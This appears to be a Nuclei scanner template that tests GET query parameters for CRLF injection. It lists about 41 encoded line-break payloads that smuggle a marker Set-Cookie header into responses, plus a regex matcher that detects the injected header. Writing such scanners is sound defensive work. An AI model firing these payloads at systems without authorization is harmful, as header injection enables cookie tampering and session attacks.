crlf-injection: CRLF Injection

id: crlf-injection

info:
  name: CRLF Injection
  author: pdteam
  severity: low
  metadata:
    max-request: 41
  tags: crlf,dast,vuln

http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'

    payloads:
      escape:
        low:
          - "%00"
          - "%0a"
          - "%0a%20"
          - "%0d"
          - "%0d%09"
          - "%0d%0a"
          - "%0d%0a%09"
          - "%0d%0a%20"
          - "%0d%20"
          - "%20"
        medium:
          - "%20%0a"
          - "%20%0d"
          - "%20%0d%0a"
          - "%23%0a"
          - "%23%0a%20"
          - "%23%0d"
          - "%23%0d%0a"
          - "%23%oa"
          - "%25%30"
          - "%25%30%61"
          - "%2e%2e%2f%0d%0a"
          - "%2f%2e%2e%0d%0a"
          - "%2f..%0d%0a"
          - "%3f"
        high:
          - "%3f%0a"
          - "%3f%0d"
          - "%3f%0d%0a"
          - "%e5%98%8a%e5%98%8d"
          - "%e5%98%8a%e5%98%8d%0a"
          - "%e5%98%8a%e5%98%8d%0d"
          - "%e5%98%8a%e5%98%8d%0d%0a"
          - "%e5%98%8a%e5%98%8d%e5%98%8a%e5%98%8d"
          - "%u0000"
          - "%u000a"
          - "%u000d"
          - "\r"
          - "\r%20"
          - "\r\n"
          - "\r\n%20"
          - "\r\n\t"
          - "\r\t"

    fuzzing:
      - part: query
        type: postfix
        fuzz:
          - "{{escape}}Set-Cookie:crlfinjection=crlfinjection"

    stop-at-first-match: true
    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Set-Cookie\s*?:(?:\s*?|.*?;\s*?))(crlfinjection=crlfinjection)(?:\s*?)(?:$|;)'
# digest: 4a0a00473045022015c1830b995bcda913cc28864b15263881395c09ffeeb5dd5dad17d8f41378fd022100f157c7577fbeb68be85c3343f2c4ee02312f6e8fd577e55699f645a6a9fbd955:922c64590222798bb761d5b6d8e72950